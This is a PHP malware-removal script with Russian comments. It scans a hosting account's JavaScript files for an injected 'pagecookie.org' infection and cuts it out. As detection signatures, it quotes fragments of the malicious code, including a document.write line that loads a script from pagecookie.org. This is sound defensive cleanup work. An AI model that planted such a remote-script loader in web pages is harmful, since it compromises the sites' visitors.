<h1>Очистка от вируса `pagecookie.org`</h1><hr><?

    // параметры
    define ('ROOT_DIR', '/home/guXXXXXrk/'); // корень хостинга
    define ('MAX_LEVEL', 15); // максимальный уровень директории (вложенности)
    define ('DEBUG', TRUE); // TRUE: только определяем; FALSE: удаляем
    ini_set ('max_execution_time', 120); // timeout исполнения скрипта - 2 мин
    
    $maxLevel=0; // реальная максимальная рекурсия, выводится в конце для проверки
    
function getDir ($subDir=ROOT_DIR, $level=0) {
    global $rootDir, $maxLevel;
    
    if ($level>$maxLevel) $maxLevel=$level;
    if ($level>MAX_LEVEL) return;

    $h=opendir ($rootDir.$subDir);
    if ($h===FALSE) {echo ("<b style='color:red'>CANNOT OPEN DIR!</b>"); return;}
    while (FALSE!==($f=readdir ($h))) {
        if ($f=='.' || $f=='..') continue;
        $fn=$subDir.$f;
        $fn2=substr ($subDir, strlen (ROOT_DIR))."<b>$f</b>";
        if (is_dir ($fn))  {
            echo ("<div style='margin-left:20px'>$fn2");
            if (substr($fn, -7)=='ssl.key')
                echo ('SKIP <b>ssl.key</b>');
            else            
                getDir ("$fn/", $level+1);
            echo ("</div>");
        }
        elseif (is_file($fn) && strncmp ('.js', substr($fn, -3), 3)==0) {
            echo ("<div style='margin-left:20px;color:white'><b style='background:blue'>$fn2</b>");
            // проверяем контент
            $d=file_get_contents ($fn);
            if (strpos ($d, 'pagecookie.org')!==FALSE) {
                echo (' <b style="background:red">ЗАРАЖЕНО</b>');
                $isOK=FALSE;
                // начало и контент вредоносного кода
                $needle1="function g(){var r=new RegExp(\"(?:; )?1=([^;]*);?\");";
                $needle2="document.write('<script src=\"http://pagecookie.org/pagecookie.js\"></script>');}";
                $p1=strpos ($d, $needle1);
                if ($p1!==FALSE) {
                    $p2=strpos ($d, $needle2, $p1+strlen($needle1));
                    if ($p2!==FALSE) {
                        $d=substr($d,0,$p1).substr($d,$p2+strlen($needle2));
                        $isOK=TRUE;
                    }
                }
                if ($isOK)
                    if (DEBUG)
                        echo (' <b style="background:green">ГОТОВО ДЛЯ УДАЛЕНИЯ</b>');
                    else { // удаляем
                        file_put_contents ($fn, $d);
                        echo (' <b style="background:green">УДАЛЕНО</b>');
                    }
                else
                    echo (' <b style="background:yellow">ОШИБКА ПРИ ТОЧНОМ ОПРЕДЕЛЕНИИ КОДА</b>');
            }
            else echo (' <span style="background:green">OK</span>');
            echo ("</div>");
        }
    }
    closedir($h);
}

    // обходим с корня
    getDir();

    // готово
    echo ("<hr><b>[[DONE]]</b>");
    echo ("MAXLEVEL=<b>$maxLevel</b>");

?>